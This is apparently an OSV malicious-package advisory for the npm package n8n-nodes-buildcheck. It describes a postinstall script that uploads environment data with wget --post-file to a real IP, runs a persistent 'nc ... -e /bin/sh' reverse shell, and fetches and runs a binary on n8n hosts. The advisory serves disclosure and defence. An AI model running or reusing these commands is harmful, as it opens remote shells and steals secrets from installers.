n8n-nodes-buildcheck@1.0.0
Vulnerability report · Last retrieved from osv.dev September 16, 2026 at 3:27 AM UTC
OSV ID
MAL-2026-16177
Ecosystem
npm
Summary
On npm install, postinstall.js collects the full environment, id, hostname, and /proc/1/cgroup/status into /tmp/.be and uploads it via wget --post-file to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs nc 121.127.33.228 443 -e /bin/sh with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes /rest/nodes/community/install with verify:false to install a sibling package n8n-nodes-sysdiag2, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into /tmp/.mn2, chmods it executable, and launches it detached.
Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.